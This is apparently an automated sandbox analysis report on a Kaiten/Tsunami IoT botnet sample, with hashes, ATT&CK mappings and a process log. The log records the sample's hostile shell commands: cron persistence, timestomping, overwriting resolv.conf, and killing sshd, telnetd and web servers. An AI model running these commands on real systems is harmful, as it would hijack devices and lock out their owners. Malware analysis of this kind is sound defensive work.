kaiten | 3d35218401b01e771a30996e03fee170c5406bdb564c87064917d451a744ed9d

General

Target

bb1e1bb42b9e27aa9af6220cff900fec
Size

33KB
MD5

bb1e1bb42b9e27aa9af6220cff900fec
SHA1

40aa62f24b5cba9cb679934b45db7a47abc0ab4d
SHA256

3d35218401b01e771a30996e03fee170c5406bdb564c87064917d451a744ed9d
SHA512

0fbd259b4dfc96930cab0ddf6102b79a5b593f025e63126efba8229efbccbcddaef82a0d44e4e0734adb3bfc2668a6630956ca2dee8d6346241027d875bf2a55
SSDEEP

768:kW/A2V9LY1p8PrtyELAm8YANwZBif4Lb3XROD0E/gVD1hWn:f/A2VJPjd0mGQcf4cDhIVD1+

Score

10^/10

kaiten botnet persistence

Malware Config

Signatures

Detects Kaiten/Tsunami Payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/704-1-0x00400000-0x100015bc-memory.dmp	family_kaiten2

Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
botnet kaiten
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.

Dynamic Resolution
T1568

Processes:

description ioc

File opened for modification /etc/resolv.conf
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
persistence

Scheduled Task/Job
T1053

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.orYj2x crontab
Enumerates running processes
Discovers information about currently running processes on the system

description	ioc
File opened for modification	/etc/resolv.conf

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.orYj2x	crontab

Enumerates kernel/hardware configuration 1 TTPs 45 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

Processes:

systemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctl

description	ioc	process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

Processes:

systemctlkillallkillallkillallkillallkillallsystemctlkillallkillallkillallsystemctlkillallsystemctlsystemctlkillallkillallkillallkillallkillallkillallkillallkillallsystemctlsystemctlsystemctlsystemctlsystemctl

description	ioc	process
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/77/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/77/stat	killall
File opened for reading	/proc/145/cmdline	killall
File opened for reading	/proc/36/stat	killall
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/771/stat	killall
File opened for reading	/proc/895/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/24/stat	killall
File opened for reading	/proc/37/stat	killall
File opened for reading	/proc/145/cmdline	killall
File opened for reading	/proc/393/stat	killall
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/76/stat	killall
File opened for reading	/proc/694/stat	killall
File opened for reading	/proc/145/stat	killall
File opened for reading	/proc/114/stat	killall
File opened for reading	/proc/75/stat	killall
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/37/stat	killall
File opened for reading	/proc/689/stat	killall
File opened for reading	/proc/67/stat	killall
File opened for reading	/proc/75/stat	killall
File opened for reading	/proc/74/stat	killall
File opened for reading	/proc/21/stat	killall
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/704/cmdline	killall
File opened for reading	/proc/21/stat	killall
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/233/stat	killall
File opened for reading	/proc/19/stat	killall
File opened for reading	/proc/920/stat	killall
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/485/stat	killall
File opened for reading	/proc/709/stat	killall
File opened for reading	/proc/filesystems	killall
File opened for reading	/proc/323/stat	killall
File opened for reading	/proc/103/stat	killall
File opened for reading	/proc/9/stat	killall
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/689/stat	killall
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/746/stat	killall
File opened for reading	/proc/749/stat	killall
File opened for reading	/proc/76/stat	killall
File opened for reading	/proc/321/stat	killall
File opened for reading	/proc/22/stat	killall
File opened for reading	/proc/329/stat	killall
File opened for reading	/proc/691/stat	killall
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/2/stat	killall
File opened for reading	/proc/149/stat	killall
File opened for reading	/proc/329/stat	killall

/tmp/bb1e1bb42b9e27aa9af6220cff900fec
/tmp/bb1e1bb42b9e27aa9af6220cff900fec
1⤵
PID:704

/bin/sh
sh -c "rm -rf /var/run/wgsh > /dev/null 2>&1 &"
2⤵
PID:706

/bin/sh
sh -c "rm -rf /var/run/bbsh > /dev/null 2>&1 &"
2⤵
PID:710

/bin/sh
sh -c "rm -rf /var/run/tty1 > /dev/null 2>&1 &"
2⤵
PID:716

/bin/sh
sh -c "rm -rf /var/run/tty2 > /dev/null 2>&1 &"
2⤵
PID:719

/bin/sh
sh -c "rm -rf /var/run/tty3 > /dev/null 2>&1 &"
2⤵
PID:722

/bin/sh
sh -c "rm -rf /var/run/tty4 > /dev/null 2>&1 &"
2⤵
PID:724

/bin/sh
sh -c "rm -rf /var/run/tty5 > /dev/null 2>&1 &"
2⤵
PID:727

/bin/sh
sh -c "rm -rf /var/run/tty6 > /dev/null 2>&1 &"
2⤵
PID:730

/bin/sh
sh -c "rm -rf /tmp/tty1 > /dev/null 2>&1 &"
2⤵
PID:732

/bin/sh
sh -c "rm -rf /tmp/tty2 > /dev/null 2>&1 &"
2⤵
PID:734

/bin/sh
sh -c "rm -rf /tmp/tty3 > /dev/null 2>&1 &"
2⤵
PID:736

/bin/sh
sh -c "rm -rf /tmp/tty4 > /dev/null 2>&1 &"
2⤵
PID:738

/bin/sh
sh -c "rm -rf /tmp/tty5 > /dev/null 2>&1 &"
2⤵
PID:740

/bin/sh
sh -c "rm -rf /tmp/tty6 > /dev/null 2>&1 &"
2⤵
PID:743

/bin/sh
sh -c "rm -rf /var/run/pty > /dev/null 2>&1 &"
2⤵
PID:745

/bin/sh
sh -c "killall -9 arm > /dev/null 2>&1 &"
2⤵
PID:748

/bin/sh
sh -c "killall -9 mips > /dev/null 2>&1 &"
2⤵
PID:750

/bin/sh
sh -c "killall -9 mipsel > /dev/null 2>&1 &"
2⤵
PID:752

/bin/sh
sh -c "killall -9 powerpc > /dev/null 2>&1 &"
2⤵
PID:754

/bin/sh
sh -c "killall -9 ppc > /dev/null 2>&1 &"
2⤵
PID:756

/bin/sh
sh -c "killall -9 daemon.armv4l.mod > /dev/null 2>&1 &"
2⤵
PID:758

/bin/sh
sh -c "killall -9 daemon.i686.mod > /dev/null 2>&1 &"
2⤵
PID:761

/bin/sh
sh -c "killall -9 daemon.mips.mod > /dev/null 2>&1 &"
2⤵
PID:763

/bin/sh
sh -c "killall -9 daemon.mipsel.mod > /dev/null 2>&1 &"
2⤵
PID:766

/bin/sh
sh -c "kill -9 `cat /tmp/.xs/*.pid` > /dev/null 2>&1 &"
2⤵
PID:768

/bin/sh
sh -c "rm -rf /tmp/.xs/* > /dev/null 2>&1 &"
2⤵
PID:772

/bin/sh
sh -c "sleep 432000 && reboot &"
2⤵
PID:774

/bin/sh
sh -c "echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &"
2⤵
PID:776

/bin/sh
sh -c "chmod 700 /tmp/bb1e1bb42b9e27aa9af6220cff900fec > /dev/null 2>&1 &"
2⤵
PID:779

/bin/sh
sh -c "touch -acmr /bin/ls /tmp/bb1e1bb42b9e27aa9af6220cff900fec"
2⤵
PID:781

/usr/bin/touch
touch -acmr /bin/ls /tmp/bb1e1bb42b9e27aa9af6220cff900fec
3⤵
PID:782

/bin/sh
sh -c "(crontab -l | grep -v \"/tmp/bb1e1bb42b9e27aa9af6220cff900fec\" | grep -v \"no cron\" | grep -v \"lesshts/run.sh\" > /var/run/.x001804289383) > /dev/null 2>&1"
2⤵
PID:784

/bin/sh
sh -c "echo \"* * * * * /tmp/bb1e1bb42b9e27aa9af6220cff900fec > /dev/null 2>&1 &\" >> /var/run/.x001804289383"
2⤵
PID:790

/bin/sh
sh -c "crontab /var/run/.x001804289383"
2⤵
PID:791

/usr/bin/crontab
crontab /var/run/.x001804289383
3⤵
- Creates/modifies Cron job
PID:792

/bin/sh
sh -c "rm -rf /var/run/.x001804289383"
2⤵
PID:793

/bin/rm
rm -rf /var/run/.x001804289383
3⤵
PID:795

/bin/sh
sh -c "/bin/uname -n"
2⤵
PID:796

/bin/uname
/bin/uname -n
3⤵
PID:797

/bin/sh
sh -c "/bin/uname -n"
2⤵
PID:798

/bin/uname
/bin/uname -n
3⤵
PID:799

/bin/sh
sh -c "kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &"
2⤵
PID:884

/bin/sh
sh -c "service httpd stop > /dev/null 2>&1 &"
2⤵
PID:886

/bin/sh
sh -c "killall -9 mini_httpd > /dev/null 2>&1 &"
2⤵
PID:889

/bin/sh
sh -c "killall -9 minihttpd > /dev/null 2>&1 &"
2⤵
PID:891

/bin/sh
sh -c "kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &"
2⤵
PID:894

/bin/sh
sh -c "nvram set httpd_enable=0 > /dev/null 2>&1"
2⤵
PID:897

/bin/sh
sh -c "nvram set http_enable=0 > /dev/null 2>&1"
2⤵
PID:899

/bin/sh
sh -c "killall -9 httpd > /dev/null 2>&1 &"
2⤵
PID:901

/bin/sh
sh -c "service telnetd stop > /dev/null 2>&1 &"
2⤵
PID:903

/bin/sh
sh -c "service sshd stop > /dev/null 2>&1 &"
2⤵
PID:908

/bin/sh
sh -c "killall -9 telnetd > /dev/null 2>&1 &"
2⤵
PID:910

/bin/sh
sh -c "killall -9 utelnetd > /dev/null 2>&1 &"
2⤵
PID:913

/bin/sh
sh -c "killall -9 dropbear > /dev/null 2>&1 &"
2⤵
PID:917

/bin/sh
sh -c "killall -9 sshd > /dev/null 2>&1 &"
2⤵
PID:921

/bin/sh
sh -c "killall -9 lighttpd > /dev/null 2>&1 &"
2⤵
PID:923

/bin/rm
rm -rf /var/run/wgsh
1⤵
PID:708

/bin/rm
rm -rf /var/run/bbsh
1⤵
PID:715

/bin/rm
rm -rf /var/run/tty1
1⤵
PID:718

/bin/rm
rm -rf /var/run/tty2
1⤵
PID:721

/bin/rm
rm -rf /var/run/tty3
1⤵
PID:723

/bin/rm
rm -rf /var/run/tty4
1⤵
PID:726

/bin/rm
rm -rf /var/run/tty5
1⤵
PID:729

/bin/rm
rm -rf /var/run/tty6
1⤵
PID:731

/bin/rm
rm -rf /tmp/tty1
1⤵
PID:733

/bin/rm
rm -rf /tmp/tty2
1⤵
PID:735

/bin/rm
rm -rf /tmp/tty3
1⤵
PID:737

/bin/rm
rm -rf /tmp/tty4
1⤵
PID:739

/bin/rm
rm -rf /tmp/tty5
1⤵
PID:742

/bin/rm
rm -rf /tmp/tty6
1⤵
PID:744

/bin/rm
rm -rf /var/run/pty
1⤵
PID:747

/usr/bin/killall
killall -9 arm
1⤵
- Reads runtime system information
PID:749

/usr/bin/killall
killall -9 mips
1⤵
- Reads runtime system information
PID:751

/usr/bin/killall
killall -9 mipsel
1⤵
- Reads runtime system information
PID:753

/usr/bin/killall
killall -9 powerpc
1⤵
- Reads runtime system information
PID:755

/usr/bin/killall
killall -9 ppc
1⤵
- Reads runtime system information
PID:757

/usr/bin/killall
killall -9 daemon.armv4l.mod
1⤵
- Reads runtime system information
PID:760

/usr/bin/killall
killall -9 daemon.i686.mod
1⤵
- Reads runtime system information
PID:762

/usr/bin/killall
killall -9 daemon.mips.mod
1⤵
- Reads runtime system information
PID:765

/usr/bin/killall
killall -9 daemon.mipsel.mod
1⤵
- Reads runtime system information
PID:767

/bin/cat
cat "/tmp/.xs/*.pid"
1⤵
PID:771

/bin/rm
rm -rf "/tmp/.xs/*"
1⤵
PID:773

/bin/sleep
sleep 432000
1⤵
PID:777

/bin/chmod
chmod 700 /tmp/bb1e1bb42b9e27aa9af6220cff900fec
1⤵
PID:780

/bin/grep
grep -v "no cron"
1⤵
PID:788

/bin/grep
grep -v /tmp/bb1e1bb42b9e27aa9af6220cff900fec
1⤵
PID:787

/usr/bin/crontab
crontab -l
1⤵
PID:786

/bin/grep
grep -v lesshts/run.sh
1⤵
PID:789

/bin/cat
cat /var/run/httpd.pid
1⤵
PID:887

/usr/sbin/service
service httpd stop
1⤵
PID:888

/usr/bin/basename
basename /usr/sbin/service
2⤵
PID:892

/usr/bin/basename
basename /usr/sbin/service
2⤵
PID:895

/bin/systemctl
systemctl --quiet is-active multi-user.target
2⤵
- Enumerates kernel/hardware configuration
PID:900

/bin/systemctl
systemctl -p Triggers show dbus.socket
2⤵
- Enumerates kernel/hardware configuration
PID:925

/bin/systemctl
systemctl -p Triggers show ssh.socket
2⤵
- Enumerates kernel/hardware configuration
PID:939

/bin/systemctl
systemctl -p Triggers show syslog.socket
2⤵
- Enumerates kernel/hardware configuration
PID:942

/bin/systemctl
systemctl -p Triggers show systemd-fsckd.socket
2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:945

/bin/systemctl
systemctl -p Triggers show systemd-initctl.socket
2⤵
- Enumerates kernel/hardware configuration
PID:948

/bin/systemctl
systemctl -p Triggers show systemd-journald-audit.socket
2⤵
- Enumerates kernel/hardware configuration
PID:951

/bin/systemctl
systemctl -p Triggers show systemd-journald-dev-log.socket
2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:954

/bin/systemctl
systemctl -p Triggers show systemd-journald.socket
2⤵
- Enumerates kernel/hardware configuration
PID:957

/bin/systemctl
systemctl -p Triggers show systemd-networkd.socket
2⤵
- Enumerates kernel/hardware configuration
PID:960

/bin/systemctl
systemctl -p Triggers show systemd-rfkill.socket
2⤵
- Enumerates kernel/hardware configuration
PID:963

/bin/systemctl
systemctl -p Triggers show systemd-udevd-control.socket
2⤵
- Enumerates kernel/hardware configuration
PID:966

/bin/systemctl
systemctl -p Triggers show systemd-udevd-kernel.socket
2⤵
- Enumerates kernel/hardware configuration
PID:969

/usr/bin/killall
killall -9 mini_httpd
1⤵
- Reads runtime system information
PID:890

/usr/bin/killall
killall -9 minihttpd
1⤵
- Reads runtime system information
PID:893

/bin/cat
cat /var/run/thttpd.pid
1⤵
PID:898

/usr/bin/killall
killall -9 httpd
1⤵
- Reads runtime system information
PID:902

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
PID:905

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:906

/usr/sbin/service
service telnetd stop
1⤵
PID:907

/usr/bin/basename
basename /usr/sbin/service
2⤵
PID:911

/usr/bin/basename
basename /usr/sbin/service
2⤵
PID:915

/bin/systemctl
systemctl --quiet is-active multi-user.target
2⤵
- Enumerates kernel/hardware configuration
PID:920

/bin/systemctl
systemctl -p Triggers show dbus.socket
2⤵
- Enumerates kernel/hardware configuration
PID:938

/bin/systemctl
systemctl -p Triggers show ssh.socket
2⤵
- Enumerates kernel/hardware configuration
PID:941

/bin/systemctl
systemctl -p Triggers show syslog.socket
2⤵
- Enumerates kernel/hardware configuration
PID:944

/bin/systemctl
systemctl -p Triggers show systemd-fsckd.socket
2⤵
- Enumerates kernel/hardware configuration
PID:947

/bin/systemctl
systemctl -p Triggers show systemd-initctl.socket
2⤵
- Enumerates kernel/hardware configuration
PID:950

/bin/systemctl
systemctl -p Triggers show systemd-journald-audit.socket
2⤵
- Enumerates kernel/hardware configuration
PID:953

/bin/systemctl
systemctl -p Triggers show systemd-journald-dev-log.socket
2⤵
- Enumerates kernel/hardware configuration
PID:956

/bin/systemctl
systemctl -p Triggers show systemd-journald.socket
2⤵
- Enumerates kernel/hardware configuration
PID:959

/bin/systemctl
systemctl -p Triggers show systemd-networkd.socket
2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:962

/bin/systemctl
systemctl -p Triggers show systemd-rfkill.socket
2⤵
- Enumerates kernel/hardware configuration
PID:965

/bin/systemctl
systemctl -p Triggers show systemd-udevd-control.socket
2⤵
- Enumerates kernel/hardware configuration
PID:968

/bin/systemctl
systemctl -p Triggers show systemd-udevd-kernel.socket
2⤵
- Enumerates kernel/hardware configuration
PID:971

/usr/sbin/service
service sshd stop
1⤵
PID:909

/usr/bin/basename
basename /usr/sbin/service
2⤵
PID:914

/usr/bin/basename
basename /usr/sbin/service
2⤵
PID:918

/bin/systemctl
systemctl --quiet is-active multi-user.target
2⤵
- Enumerates kernel/hardware configuration
PID:924

/bin/systemctl
systemctl -p Triggers show dbus.socket
2⤵
- Enumerates kernel/hardware configuration
PID:940

/bin/systemctl
systemctl -p Triggers show ssh.socket
2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:943

/bin/systemctl
systemctl -p Triggers show syslog.socket
2⤵
- Enumerates kernel/hardware configuration
PID:946

/bin/systemctl
systemctl -p Triggers show systemd-fsckd.socket
2⤵
- Enumerates kernel/hardware configuration
PID:949

/bin/systemctl
systemctl -p Triggers show systemd-initctl.socket
2⤵
- Enumerates kernel/hardware configuration
PID:952

/bin/systemctl
systemctl -p Triggers show systemd-journald-audit.socket
2⤵
- Enumerates kernel/hardware configuration
PID:955

/bin/systemctl
systemctl -p Triggers show systemd-journald-dev-log.socket
2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:958

/bin/systemctl
systemctl -p Triggers show systemd-journald.socket
2⤵
- Enumerates kernel/hardware configuration
PID:961

/bin/systemctl
systemctl -p Triggers show systemd-networkd.socket
2⤵
- Enumerates kernel/hardware configuration
PID:964

/bin/systemctl
systemctl -p Triggers show systemd-rfkill.socket
2⤵
- Enumerates kernel/hardware configuration
PID:967

/bin/systemctl
systemctl -p Triggers show systemd-udevd-control.socket
2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:970

/bin/systemctl
systemctl -p Triggers show systemd-udevd-kernel.socket
2⤵
- Enumerates kernel/hardware configuration
PID:972

/usr/bin/killall
killall -9 telnetd
1⤵
- Reads runtime system information
PID:912

/usr/bin/killall
killall -9 utelnetd
1⤵
- Reads runtime system information
PID:916

/usr/bin/killall
killall -9 dropbear
1⤵
- Reads runtime system information
PID:919

/usr/bin/killall
killall -9 sshd
1⤵
- Reads runtime system information
PID:922

/usr/bin/killall
killall -9 lighttpd
1⤵
- Reads runtime system information
PID:926

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:929

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:931

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:934

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:933

/usr/local/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:888

/usr/local/bin/systemctl
systemctl stop httpd.service
1⤵
PID:888

/usr/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:888

/usr/bin/systemctl
systemctl stop httpd.service
1⤵
PID:888

/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:888

/bin/systemctl
systemctl stop httpd.service
1⤵
- Enumerates kernel/hardware configuration
PID:888

/usr/local/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:909

/usr/local/bin/systemctl
systemctl stop sshd.service
1⤵
PID:909

/usr/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:909

/usr/bin/systemctl
systemctl stop sshd.service
1⤵
PID:909

/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:909

/bin/systemctl
systemctl stop sshd.service
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:909

/usr/local/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:907

/usr/local/bin/systemctl
systemctl stop telnetd.service
1⤵
PID:907

/usr/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:907

/usr/bin/systemctl
systemctl stop telnetd.service
1⤵
PID:907

/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:907

/bin/systemctl
systemctl stop telnetd.service
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:907

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Dynamic Resolution

1

T1568

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

/run/.x001804289383
Filesize
67B

MD5
dc5aa368b54ba07eda880878fa15b6d2

SHA1
9670a3ae6af449cf46722657866d4542c23f221d

SHA256
b42d3598e5f9fb8675f0f32b7924d9a3867dabc8bd4db396bb2cdb5da36b0da4

SHA512
822fe386ae357a2b9e1588a2129bd17e1cf9a286f074e6d9f2dffac526c90f0ba2db8b9a7c91b398421413cb3f91992b6a221ef22b1d2e17ae37d01304f8cd90

Download Submit
/var/spool/cron/crontabs/tmp.orYj2x
Filesize
264B

MD5
900d43c4421ddd909e1aa015b0da7298

SHA1
87c168f84b2150f55c1f5ce7cf8d8a0dfa9b20f5

SHA256
51324017e2daaaef01e6e3842187523778844ba787a1ae98c79faa07e9de5049

SHA512
24345a513d1402cf7dd03282a7e98b9c49c3327b73c7471525a89b146021a4f2e366c4fe4f49831747dc66663b9ad2f806284dbde6d054e2ab76b62658e3a832

Download Submit
memory/704-1-0x00400000-0x100015bc-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads